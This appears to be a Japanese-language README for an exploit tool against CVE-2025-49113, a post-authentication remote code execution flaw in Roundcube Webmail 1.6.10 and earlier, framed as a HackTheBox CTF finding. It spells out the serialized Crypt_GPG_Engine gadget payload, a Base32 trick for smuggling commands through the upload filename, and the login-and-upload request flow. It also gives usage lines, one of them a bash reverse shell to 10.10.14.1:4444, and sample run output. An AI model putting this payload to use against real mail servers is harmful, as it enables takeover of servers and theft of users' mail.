
CVE-2025-49113 – Roundcube ≤1.6.10 の認証後RCE(PHPオブジェクト逆シリアル化経由)(HackTheBox CTF)
| フィールド | 詳細 |
|---|
| CVE | CVE-2025-49113 |
| ソフトウェア | Roundcube Webmail |
| 影響を受けるバージョン | ≤ 1.6.10 |
| 脆弱性 | PHPオブジェクトデシリアライゼーション → RCE |
| 認証 | 必要 (有効なユーザーであれば誰でも) |
| 影響 | サーバー上でのリモートコード実行 |
| コンテキスト | HackTheBox CTF中に発見 |
Roundcube Webmail バージョン 1.6.10 以下は、認証後のリモートコード実行の脆弱性があります。ファイルアップロードハンドラは、アップロードされた添付ファイルのファイル名に埋め込まれたPHPオブジェクトをデシリアライズします。シリアル化された Crypt_GPG_Engine オブジェクトを含む悪意のあるファイル名を細工することで、認証された攻撃者がファイル名の処理時にサーバー上で任意のコマンド実行を引き起こすことができます。
PHPオブジェクトデシリアライゼーション (CWE-502)。Roundcubeのファイルアップロードエンドポイントは、クライアントが提供したファイル名を検証なしでデシリアライズパスに渡します。Crypt_GPG_Engine クラスはRoundcubeの依存関係チェーンで利用可能であり、使用可能なガジェットチェーンとして機能します。
Crypt_GPG_Engine クラスには、オブジェクトの破棄/初期化中にシステムレベルの呼び出しに渡される _gpgconf プロパティが含まれています。細工された _gpgconf 値を持つインスタンスをシリアル化することで、攻撃者はコマンド実行を強制します。
Serialized payload format:
|O:16:"Crypt_GPG_Engine":3:{
s:8:"_process"; b:0;
s:8:"_gpgconf"; s:<len>:"<base32-encoded-command> | base32 -d | sh &#";
s:8:"_homedir"; s:0:"";
}
コマンドはBase32でエンコードされ、ファイル名フィールドでの特殊文字の問題を回避しています。
攻撃者 (認証済み)
│
▼
GET /?_task=login → CSRFトークンとセッションクッキーを取得
│
▼
POST /?_task=login → 有効な資格情報で認証
│
▼
POST /?_task=settings&_action=upload
Content-Disposition: filename="<SERIALIZED_PAYLOAD>"
│
▼
サーバーがファイル名をデシリアライズ → Crypt_GPG_Engine がインスタンス化される
│
▼
_gpgconf が実行される → OSコマンドがウェブサーバーユーザーとして実行される
コマンドはBase32でエンコードされ、マルチパートファイル名フィールドを壊す可能性のある文字(引用符、スラッシュなど)を回避します。サーバーで実行される最終的なコマンドは次のとおりです:
echo "<B32_CMD>" | base32 -d | sh
python3 exploit.py -u <USER> -p <PASS> -i <TARGET_URL> -x <COMMAND>
| フラグ | 説明 |
|---|---|
-u | Roundcube ユーザー名 |
-p | Roundcube パスワード |
-i | ターゲットURL (例: http://mail.target.htb) |
-x | サーバー上で実行するコマンド |
# Check code execution as web server user
python3 exploit.py -u admin -p password -i http://mail.target.htb -x "id"
# Reverse shell
python3 exploit.py -u admin -p password -i http://mail.target.htb \
-x "bash -c 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1'"
外部ライブラリは不要 — Python標準ライブラリのみ使用 (http.client, urllib, base64, など)。
$ python3 exploit.py -u bob -p letmein -i http://mail.target.htb -x "id"
[*] Starting Roundcube exploit (CVE-2025-49113)
[*] Fetching CSRF token...
[+] Got CSRF token: abc123...
[*] Authenticating...
[+] Authentication successful
[*] Executing command: id
[+] Exploit completed. Check target for command execution.